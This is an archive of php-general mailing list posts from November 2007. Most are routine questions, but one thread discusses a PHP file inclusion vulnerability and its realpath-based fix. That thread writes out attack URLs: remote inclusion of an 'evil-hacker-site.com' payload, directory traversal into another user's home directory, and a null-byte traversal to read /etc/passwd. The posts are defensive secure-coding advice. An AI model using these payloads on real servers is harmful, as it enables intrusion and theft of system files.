index.php?page=http://evil-hacker-site.com/evil-payload.php

And the browser will probably url_encode for me if needed.
Actually in this example that would end up getting evil-payload.php.php 
- probably not what your evil mind wanted. You could do this...


index.php?page=http://evil-hacker-site.com/evil-payload

...assuming you know it's gonna stick .php on the end. Alternatively you 
could do this...


index.php?page=http://evil-hacker-site.com/evil-payload.php?

Resulting in the appended .php being in the querystring. The easiest way 
to protect your code from this is to always always prefix the string 
with something as well as appending to it. For example...


$page = dirname(__FILE__).'/'.$_GET['page'].'.php';
if (file_exists ($page)) {
 include ($page);
}

But that doesn't prevent a malicious user including any PHP file on your 
server. $_GET['page'] should be one of a known set of values. At the 
very least it should be restricted to file in a particular directory.


Something like the following would be much better (untested)...

$page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
$expecteddir = realpath(dirname(__FILE__).'/inc');
if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
{
 // Ideally return a 403 status here
 die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
 include($page);
}
else
{
 // Return a 404 status here
 die('Resource not found');
}

That should lock the requested page to the given directory. If anyone 
can see any way around that I'd be interested in hearing about it.


-Stut

--
http://stut.net/


Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not 
include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"

Maybe a switch statement that only uses the file name supplied by the script (whether or not an unknown user 
supplies an actual file name.  I just did something like that today.  I have a custom "ls" type PHP 
script and I want it to search 1 of 2 directories only.  I check if the GET var is set; don't even look at 
the value, then do a custom "ls" on 1 or the other directory which is in the web path.  The whole 
site is behind htaccess though, but I added this layer for this special "ls" function.


No, you've missed the point. $expecteddir is a fixed variable that you, 
the script author, specify. It does not contain anything coming from 
external veriables. You then compare the full path you build from the 
external variables to $expecteddir to verify that the file is in the 
right directory.


I suggest you read the code I posted again.

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: file_exists

2007-11-15 Thread William Betts
It could present a problem depending on how the permissions are setup
on the shared hosting and if open_base is in effect.
If they can get the /etc/shadow file from a php being ran by apache
then you have an issue, because apache would be
running as root. Take the below example.

include('templates/".$_GET['page'].".php);

Even if you had the ability to include remote files turned on you
wouldn't be able to pull one. What you can do is pull anything
the webserver is allowed to view (ie /etc/passwd). While that doesn't
contain any passwords it lets people know valid system
logins. You can get the contents to dump by using

www.somehost.com/index.php?page=../../../../../../../../../etc/passwd%00

The %00 is what you call a null terminator. This will drop anything
that's add after it.  I hope this helps.

William Betts
On Nov 15, 2007 4:03 PM, Instruct ICC <[EMAIL PROTECTED]> wrote:
>
> > > I think file_exists returns false for remote files ;)
> >
> > Even if it did (it doesn't:
> > http://uk3.php.net/manual/en/wrappers.ftp.php), I'd still rather not let
> > someone steal my /etc/passwd or /etc/shadow etc. files.
> >
> > As I said before. Some form of regexp or similar restriction is 100%
> > necessary before trusting untrustworthy data.
> >
> > Col
>
> 1 test I did confirmed the "false" for the remote files.
>
> How about that shared host hack attempt?  Does that present a problem for 
> shared hosts?
>
> This should be my last post to this list from hotmail.  Hopefully I'll see 
> you all nicely threaded with gmail.  That's where I keep my other lists 
> anyway.
>
>
> _
> Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
> today.
> http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IDE

2007-11-15 Thread Børge Holen

On Thursday 15 November 2007 21:35:04 Jammer wrote:
> Hi All,
>
> This is my first post here ... I'm very much a newbie to php but work
> during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up
> on my PHP.
>
> Are there any IDE's for PHP worth checking out.  Particularly free ones!
>
> TIA,
>
> --
> jammer
> www.jammer.biz

I LOVE this IDE quiz' 
the same answers everytime.

-- 
---
Børge Holen
http://www.arivene.net

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] file_exists

2007-11-15 Thread Stut

Instruct ICC wrote:
No, you've missed the point. $expecteddir is a fixed variable that you, 
the script author, specify. It does not contain anything coming from 
external veriables. You then compare the full path you build from the 
external variables to $expecteddir to verify that the file is in the 
right directory.


I suggest you read the code I posted again.

-Stut

I meant if $page evaluates to 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
which it does not.

However I don't think your if (substr($page, 0, strlen($expecteddir)) != 
$expecteddir)
ever evaluates to TRUE.  So you'll never get Access denied.

So how you set $page saved your ass.  Good job.

You clearly don't know what the realpath function does. Look it up.

-Stut


No I didn't.  And I looked it up for the previous reply.  And I said that's the 
only thing saving your ass.

Your IF never evaluates to true.

But it works to keep out the hacker.  So I said "Good job".


My server is down right now so I can't do my usual example script.

The realpath function will reduce your definition of $page to 
"/home/evil-user-home-dir/evil-payload.php"


$expecteddir is set to "/home/stut/phpstuff/inc"

The if takes the first strlen($expecteddir) characters of the reduced 
$page and compares it to $expecteddir.


If they don't match then if means the requested file is outside your 
"safe" directory, hence access denied. If they do match then it's safe 
to include the file.


-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Foreach question

2007-11-15 Thread Juan Marcelo Rodríguez
HI,
I'm working with an associative array, and generating its data a form. I use
foreach to loops the contents of the array and echo to print the table and
the data. Everything goes well, however I would like to add a counter to
print the row's number.

The question : Am I able to add a counter within foreach to print the row
number in each row using echo ?. I tried a few things but I couldn't.

Thanks!

Juan


RE: [PHP] file_exists

2007-11-15 Thread Instruct ICC

> >> No, you've missed the point. $expecteddir is a fixed variable that you, 
> >> the script author, specify. It does not contain anything coming from 
> >> external veriables. You then compare the full path you build from the 
> >> external variables to $expecteddir to verify that the file is in the 
> >> right directory.
> >>
> >> I suggest you read the code I posted again.
> >>
> >> -Stut
> > 
> > I meant if $page evaluates to 
> > "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
> > which it does not.
> > 
> > However I don't think your if (substr($page, 0, strlen($expecteddir)) != 
> > $expecteddir)
> > ever evaluates to TRUE.  So you'll never get Access denied.
> > 
> > So how you set $page saved your ass.  Good job.
> 
> You clearly don't know what the realpath function does. Look it up.
> 
> -Stut

No I didn't.  And I looked it up for the previous reply.  And I said that's the 
only thing saving your ass.

Your IF never evaluates to true.

But it works to keep out the hacker.  So I said "Good job".

_
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

[PHP] IDE

2007-11-15 Thread Jammer

Hi All,

This is my first post here ... I'm very much a newbie to php but work 
during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up 
on my PHP.


Are there any IDE's for PHP worth checking out.  Particularly free ones!

TIA,

--
jammer
www.jammer.biz

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread Casey
You can get it for free. Go to mail.google.com and click "Get Gmail"
or something like that.

On Nov 15, 2007 1:48 PM, William Betts <[EMAIL PROTECTED]> wrote:
> Great with the times. :P It's not invite anymore.
>
>
> On Nov 15, 2007 3:40 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> > I know a good deal of us here are already using Gmail accounts,
> > but if you're not one of us and would like to be, let me know.  I
> > still have 95 invites left, and whomever would like one is more than
> > welcome to it.
> >
> > If you're not familiar with Gmail, check out the site at
> > http://www.gmail.com/.  Great threading, something like 4BG (and
> > counting) of space, and by far the absolute BEST SPAM filter I've ever
> > worked with.  Plus a lot more, including integration with Google Docs,
> > et cetera.
> >
> > Just let me know and I'll send you an invite so you can create an 
> > account.
> >
> > --
> > Daniel P. Brown
> > [office] (570-) 587-7080 Ext. 272
> > [mobile] (570-) 766-8107
> >
> > If at first you don't succeed, stick to what you know best so that you
> > can make enough money to pay someone else to do it for you.
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread William Betts
Great with the times. :P It's not invite anymore.

On Nov 15, 2007 3:40 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> I know a good deal of us here are already using Gmail accounts,
> but if you're not one of us and would like to be, let me know.  I
> still have 95 invites left, and whomever would like one is more than
> welcome to it.
>
> If you're not familiar with Gmail, check out the site at
> http://www.gmail.com/.  Great threading, something like 4BG (and
> counting) of space, and by far the absolute BEST SPAM filter I've ever
> worked with.  Plus a lot more, including integration with Google Docs,
> et cetera.
>
> Just let me know and I'll send you an invite so you can create an account.
>
> --
> Daniel P. Brown
> [office] (570-) 587-7080 Ext. 272
> [mobile] (570-) 766-8107
>
> If at first you don't succeed, stick to what you know best so that you
> can make enough money to pay someone else to do it for you.
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] file_exists

2007-11-15 Thread Instruct ICC



> Date: Thu, 15 Nov 2007 13:16:46 +
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> CC: php-general@lists.php.net
> Subject: Re: [PHP] file_exists
> 
> Instruct ICC wrote:
> > 
> > 
> >> Date: Thu, 15 Nov 2007 00:20:52 +
> >> From: [EMAIL PROTECTED]
> >> To: [EMAIL PROTECTED]
> >> CC: php-general@lists.php.net
> >> Subject: Re: [PHP] file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example
> >>>
>  $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> > 
> > Called like this?
> > 
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> > 
> > And the browser will probably url_encode for me if needed.
> 
> Actually in this example that would end up getting evil-payload.php.php 
> - probably not what your evil mind wanted. You could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload
> 
> ...assuming you know it's gonna stick .php on the end. Alternatively you 
> could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
> 
> Resulting in the appended .php being in the querystring. The easiest way 
> to protect your code from this is to always always prefix the string 
> with something as well as appending to it. For example...
> 
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
>  include ($page);
> }
> 
> But that doesn't prevent a malicious user including any PHP file on your 
> server. $_GET['page'] should be one of a known set of values. At the 
> very least it should be restricted to file in a particular directory.
> 
> Something like the following would be much better (untested)...
> 
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
>  // Ideally return a 403 status here
>  die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
>  include($page);
> }
> else
> {
>  // Return a 404 status here
>  die('Resource not found');
> }
> 
> That should lock the requested page to the given directory. If anyone 
> can see any way around that I'd be interested in hearing about it.
> 
> -Stut
> 
> -- 
> http://stut.net/

Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not 
include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"

Maybe a switch statement that only uses the file name supplied by the script 
(whether or not an unknown user supplies an actual file name.  I just did 
something like that today.  I have a custom "ls" type PHP script and I want it 
to search 1 of 2 directories only.  I check if the GET var is set; don't even 
look at the value, then do a custom "ls" on 1 or the other directory which is 
in the web path.  The whole site is behind htaccess though, but I added this 
layer for this special "ls" function.

_
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

[PHP] Bcompiler errors

2007-11-15 Thread Mike Yrabedra

Hello,


I am getting these errors all the time now, on multiple scripts at random
times.

Warning: bcompiler: Bad bytecode file format at  in Unknown on line
0

This tells me it has to be PHP in some fashion.

Only thing I have found is this...

http://pecl.php.net/bugs/bug.php?id=10742

I am unsure as to where I need to go from here?

I am concerned about putting this into production if it happens this often.

Any ideas?


P.S. Running PHP 5.2.3 on Mac OS X intel xserve

Apache 2.2.4

-- 
Mike Yrabedra B^)>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Brad wrote:

Thank you so much!

It worked like a champ first try!
I would have never seen that and have been looking everywhere on the net for
a working example!

Funny thing is, right after is work perfectly twice, my database crashed!

But, this is the technology we play with!

Problem solved and I am going to post this code on the php website for
others to reference!


If you do please don't mention me. This might work but as I said in my 
email (which you clearly read very carefully!) it's not the right way to 
do it.


Please pay particular notice to my last "important note" below... THIS 
CODE IS NOT SECURE. It's easily used as a mail relay script, so please 
don't use it in production or $DEITY will kill a bunch of kittens.


-Stut

--
http://stut.net/


-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 10:16 AM

To: Brad
Cc: php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:

No access to the server command line to install it!
And, I am into this guy too deep to switch technologies. For the next time
around, no problem, this time I am just trying to get php to do what it is
supposed to do.


You don't need command line access to install it. PHPMailer consists of 
PHP only - nothing to install but PHP files. See here: 
http://phpmailer.sourceforge.net/install.php



The suggestion of mime was presented to me from another kind sole trying

to

help that knows more than I and recommended on other help files.

Why is php refusing to parse as html?


And here lies the basic problem. PHP is *not* the thing that's refusing 
to parse it as HTML. Since you don't know that you really should do a 
lot of reading before you try sending HTML emails without using 
something like PHPMailer.


For beeps and farts I've "fixed" your code, but even though it will now 
"work" it is nowhere near the right way to send this type of email, but 
my life is probably going to be too short to tell you what you could 
easily find out yourself.


$email = $_REQUEST['email'];
$fromaddress = '[EMAIL PROTECTED]';
$fromname = 'Zone of success Club';
$eol = "\r\n";
$headers  = 'From: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Reply-To: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Return-Path: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'X-Mailer: PHP '.phpversion().$eol;
$headers .= 'Content-Type: text/html; charset=iso-8859-1'.$eol;
$headers .= 'Content-Transfer-Encoding: 8bit';
$subject = 'This is my spam, worship me';
$body = 'http://www.zoneofsuccessclub.com/";>link';
mail($email, $subject, $body, $headers);

Some *important* notes...

* I defined $subject because it tries to use it.
* You don't need to provide the MessageID - your mail server will do 
that for you... correctly.
* You don't need to add two carriage returns at the end of the headers - 
PHP will do that for you.
* This email will be in HTML only which makes it a lot more likely to 
get flagged as spam.
* If you're on a unix-based platform you really should be using the 5th 
parameter to mail, but that's probably going to confuse the hell out of 
you so I won't mention it. D'oh!
* This code is not secure. It's trivial to inject headers (and a body 
too) into the message. You should be validating that $_REQUEST['email'] 
is a valid email address and just a valid email address.


-Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Semi-newbie Question .... streams ...

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 10:13 AM, Per Jessen <[EMAIL PROTECTED]> wrote:
> Paul Farr wrote:
>
> > The short version is:  I need to master the download stream for a
> > file, while delivering it to the enduser, I need to change some bytes
> > in the file data. A simple search and replace. I want to do it in the
> > stream, don't want to create a new file each time.
>
> Assuming you've a URL along the lines of this:
>
> .php?file=
>
> .php:
>  header("Content-Type: application/octet-stream");
> header("Content-Disposition: attachment; filename=\"whatever.exe\"");
>
> $txt=file_get_contents(the file you want to send)
>
> // do your editing on the string here
>
> print $txt;
> ?>
>
>
> /Per Jessen, Zürich
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

I would actually make a slight modification to Per's code and
place the header(); information post-processing the data.  Otherwise
you won't be able to properly display errors in the event of a
failure.


-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] CURL efficiency?

2007-11-15 Thread Michael McGlothlin
I make use of CURL to talk to a back-end system and I'm calling it 
several times per requested page and there are several page requests a 
second. Is there anything I can do to make this process more efficient? 
Does keep alive work? Do I need to keep the same connection handler and 
not close it after each request? Anyway to make CURL connections 
persistant like I can with MySQL and Memcache? Anything else that'd 
help? Thanks.


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Open Source BTS??

2007-11-15 Thread Bastien Koert

bugzilla or mantis
 
bastien> From: [EMAIL PROTECTED]> To: php-general@lists.php.net> Date: Thu, 15 
Nov 2007 15:06:08 -0600> Subject: [PHP] Open Source BTS??> > Hey,> > I am 
needing to install a bug tracking system on a web server and looking for > a 
good PHP open source solution. Looking for a pretty mature system that > still 
has active development. Thanks for any suggestions.> > Randy> > -- > PHP 
General Mailing List (http://www.php.net/)> To unsubscribe, visit: 
http://www.php.net/unsub.php> 
_
Send a smile, make someone laugh, have some fun! Start now!
http://www.freemessengeremoticons.ca/?icid=EMENCA122

RE: [PHP] Re: file_exists

2007-11-15 Thread Instruct ICC

> > I think file_exists returns false for remote files ;)
> 
> Even if it did (it doesn't:
> http://uk3.php.net/manual/en/wrappers.ftp.php), I'd still rather not let
> someone steal my /etc/passwd or /etc/shadow etc. files.
> 
> As I said before. Some form of regexp or similar restriction is 100%
> necessary before trusting untrustworthy data.
> 
> Col

1 test I did confirmed the "false" for the remote files.

How about that shared host hack attempt?  Does that present a problem for 
shared hosts?

This should be my last post to this list from hotmail.  Hopefully I'll see you 
all nicely threaded with gmail.  That's where I keep my other lists anyway.

_
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

Re: [PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread Stephen Wong
Yeah, not sure why the "invite a friend" option is still there

On Nov 15, 2007 4:48 PM, William Betts <[EMAIL PROTECTED]> wrote:
> Great with the times. :P It's not invite anymore.
>
> On Nov 15, 2007 3:40 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> > I know a good deal of us here are already using Gmail accounts,
> > but if you're not one of us and would like to be, let me know.  I
> > still have 95 invites left, and whomever would like one is more than
> > welcome to it.
> >
> > If you're not familiar with Gmail, check out the site at
> > http://www.gmail.com/.  Great threading, something like 4BG (and
> > counting) of space, and by far the absolute BEST SPAM filter I've ever
> > worked with.  Plus a lot more, including integration with Google Docs,
> > et cetera.
> >
> > Just let me know and I'll send you an invite so you can create an 
> > account.
> >
> > --
> > Daniel P. Brown
> > [office] (570-) 587-7080 Ext. 272
> > [mobile] (570-) 766-8107
> >
> > If at first you don't succeed, stick to what you know best so that you
> > can make enough money to pay someone else to do it for you.
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>



-- 
S. Wong

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] [NEWBIE GUIDE] For the benefit of new members

2007-11-15 Thread Jay Blanchard
=
Please feel free to add more points and send to the list. 
20050322jb - Note the new location of PHP Editors list.
=

1. If you have any queries/problems about PHP try
http://www.php.net/manual/en first. You can download a copy and use it
offline also. 

Please also try http://www.php.net/manual/faq.php for answers to
frequently answered questions 
about PHP (added by Christophe Chisogne).

2. Try http://www.google.com next. Searching for "php YOUR QUERY" may
fetch you relevant information within the first 10 results.

3. There is a searchable archive of the mailing list discussion at
http://phparch.com/mailinglists. Many of the common topics are discussed
repeatedly, and you may get answer to your query from the 
earlier discussions. 

For example: One of the repeatedly discussed question in the list is
"Best PHP editor". Everyone has his/her favourite editor. You can get
all the opinions by going through the list archives. If you want a
chosen list try this link :
http://www.thelinuxconsultancy.co.uk/phpeditors.php
(contributed by Christophe Chisogne).

4. Not sure if PHP is working or you want find out what extensions are
available to you?

Just put the following code into a file with a .php extension and access
it through your 
webserver:

 

If PHP is installed you will see a page with a lot of information on it.
If PHP is not installed (or not working correctly) your browser will try
to download the file. (contributed by Teren and reworded by Chris W
Parker)

5. If you are stuck with a script and do not understand what is wrong,
instead of posting the whole script, try doing some research yourself.
One useful trick is to print the variable/sql query using print or echo
command and check whether you get what you expected. 

After diagnosing the problem, send the details of your efforts
(following steps 1, 2 & 3) and ask for help.

6. PHP is a server side scripting language. Whatever processing PHP does
takes place BEFORE the output reaches the client. Therefore, it is not
possible to access users' computer related information (OS, screen size
etc) using PHP. Nor can you modify any the user side settings. You need 
to go for JavaScript and ask the question in a JavaScript list.

On the other hand, you can access the information that is SENT by the
user's browser when a client requests a page from your server. You can
find details about browser, OS etc as reported by this request.
(contributed by Wouter van Vliet and reworded by Chris W Parker.)

7. Provide a clear descriptive subject line. Avoid general subjects like
"Help!!", "A Question" etc. Especially avoid blank subjects. 

8. When you want to start a new topic, open a new mail composer and
enter the mailing list address php-general@lists.php.net instead of
replying to an existing thread and replacing the subject and body with
your message.

9. It's always a good idea to post back to the list once you've solved
your problem. People usually add [SOLVED] to the subject line of their
email when posting solutions. By posting your solution you're helping
the next person with the same question. [contribued by Chris W Parker]

10. Ask smart questions http://catb.org/~esr/faqs/smart-questions.html
[contributed by Jay Blanchard)

11. Do not send your email to the list with attachments. If you don't
have a place to upload your code, try the many pastebin websites (such
as www.pastebin.com). (contributed by Burhan Khalid)

Following these guidelines will ensure that you get effective responses
from the list members. Otherwise, your questions might not be answered.

===
Hope you have a good time programming with PHP.
===

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IDE

2007-11-15 Thread William Betts
I like Zend Studio. www.zend.com.

William Betts

On Nov 15, 2007 2:35 PM, Jammer <[EMAIL PROTECTED]> wrote:
> Hi All,
>
> This is my first post here ... I'm very much a newbie to php but work
> during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up
> on my PHP.
>
> Are there any IDE's for PHP worth checking out.  Particularly free ones!
>
> TIA,
>
> --
> jammer
> www.jammer.biz
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] [NEWBIE GUIDE] For the benefit of new members

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 4:07 PM, Jay Blanchard <[EMAIL PROTECTED]> wrote:
> =
> Please feel free to add more points and send to the list.
> 20050322jb - Note the new location of PHP Editors list.
> =
>
> 1. If you have any queries/problems about PHP try
> http://www.php.net/manual/en first. You can download a copy and use it
> offline also.
>
> Please also try http://www.php.net/manual/faq.php for answers to
> frequently answered questions
> about PHP (added by Christophe Chisogne).
>
> 2. Try http://www.google.com next. Searching for "php YOUR QUERY" may
> fetch you relevant information within the first 10 results.
>
> 3. There is a searchable archive of the mailing list discussion at
> http://phparch.com/mailinglists. Many of the common topics are discussed
> repeatedly, and you may get answer to your query from the
> earlier discussions.
>
> For example: One of the repeatedly discussed question in the list is
> "Best PHP editor". Everyone has his/her favourite editor. You can get
> all the opinions by going through the list archives. If you want a
> chosen list try this link :
> http://www.thelinuxconsultancy.co.uk/phpeditors.php
> (contributed by Christophe Chisogne).
>
> 4. Not sure if PHP is working or you want find out what extensions are
> available to you?
>
> Just put the following code into a file with a .php extension and access
> it through your
> webserver:
>
>  phpinfo();
> ?>
>
> If PHP is installed you will see a page with a lot of information on it.
> If PHP is not installed (or not working correctly) your browser will try
> to download the file. (contributed by Teren and reworded by Chris W
> Parker)
>
> 5. If you are stuck with a script and do not understand what is wrong,
> instead of posting the whole script, try doing some research yourself.
> One useful trick is to print the variable/sql query using print or echo
> command and check whether you get what you expected.
>
> After diagnosing the problem, send the details of your efforts
> (following steps 1, 2 & 3) and ask for help.
>
> 6. PHP is a server side scripting language. Whatever processing PHP does
> takes place BEFORE the output reaches the client. Therefore, it is not
> possible to access users' computer related information (OS, screen size
> etc) using PHP. Nor can you modify any the user side settings. You need
> to go for JavaScript and ask the question in a JavaScript list.
>
> On the other hand, you can access the information that is SENT by the
> user's browser when a client requests a page from your server. You can
> find details about browser, OS etc as reported by this request.
> (contributed by Wouter van Vliet and reworded by Chris W Parker.)
>
> 7. Provide a clear descriptive subject line. Avoid general subjects like
> "Help!!", "A Question" etc. Especially avoid blank subjects.
>
> 8. When you want to start a new topic, open a new mail composer and
> enter the mailing list address php-general@lists.php.net instead of
> replying to an existing thread and replacing the subject and body with
> your message.
>
> 9. It's always a good idea to post back to the list once you've solved
> your problem. People usually add [SOLVED] to the subject line of their
> email when posting solutions. By posting your solution you're helping
> the next person with the same question. [contribued by Chris W Parker]
>
> 10. Ask smart questions http://catb.org/~esr/faqs/smart-questions.html
> [contributed by Jay Blanchard)
>
> 11. Do not send your email to the list with attachments. If you don't
> have a place to upload your code, try the many pastebin websites (such
> as www.pastebin.com). (contributed by Burhan Khalid)
>
> Following these guidelines will ensure that you get effective responses
> from the list members. Otherwise, your questions might not be answered.
>
> ===
> Hope you have a good time programming with PHP.
> ===
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

I was all ready to jump on Point #6 to disagree until I read the
next paragraph, updating that with the correct information.  PHP can
find out the OS of the system on which the browser is running.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Open Source BTS??

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 4:14 PM, mike <[EMAIL PROTECTED]> wrote:
> On 11/15/07, Randy Patterson <[EMAIL PROTECTED]> wrote:
> > Hey,
> >
> > I am needing to install a bug tracking system on a web server and looking 
> > for
> > a good PHP open source solution. Looking for a pretty mature system that
> > still has active development. Thanks for any suggestions.
>
> http://www.mantisbt.org/ isn't too bad. i use it for a client. it's a
> little funky but does the job.
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

http://www.sourceforge.net/


-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IDE

2007-11-15 Thread Stut

Jammer wrote:

Hi All,

This is my first post here ... I'm very much a newbie to php but work 
during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up 
on my PHP.


Are there any IDE's for PHP worth checking out.  Particularly free ones!

TIA,


Will you please check the freakin' archives. This topic has been covered 
numerous times over the past week or so.


-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Instruct ICC

> Next time Brad, please try to take a look yourself at the line the error 
> indicates (and the lines around it aswell) and TRY to figure out what 
> MIGHT be wrong.
> 
> - Tul

If it's not on the line it reported, it may be immediately above that line.

The only unhelpful error I've seen (once you know what T_STRING means) is when 
it gives you the last line number in your entire file.

_
Boo! Scare away worms, viruses and so much more! Try Windows Live OneCare!
http://onecare.live.com/standard/en-us/purchase/trial.aspx?s_cid=wl_hotmailnews

Re: [PHP] IDE

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 3:35 PM, Jammer <[EMAIL PROTECTED]> wrote:
> Hi All,
>
> This is my first post here ... I'm very much a newbie to php but work
> during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up
> on my PHP.
>
> Are there any IDE's for PHP worth checking out.  Particularly free ones!
>
> TIA,
>
> --
> jammer
> www.jammer.biz
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

Yes, and you can find them on Google and in the list archives.

This is one of the most frequently-asked questions it's a
shame the listserv can't filter those to point the user to an FAQ.

-- 
Daniel P. Brown
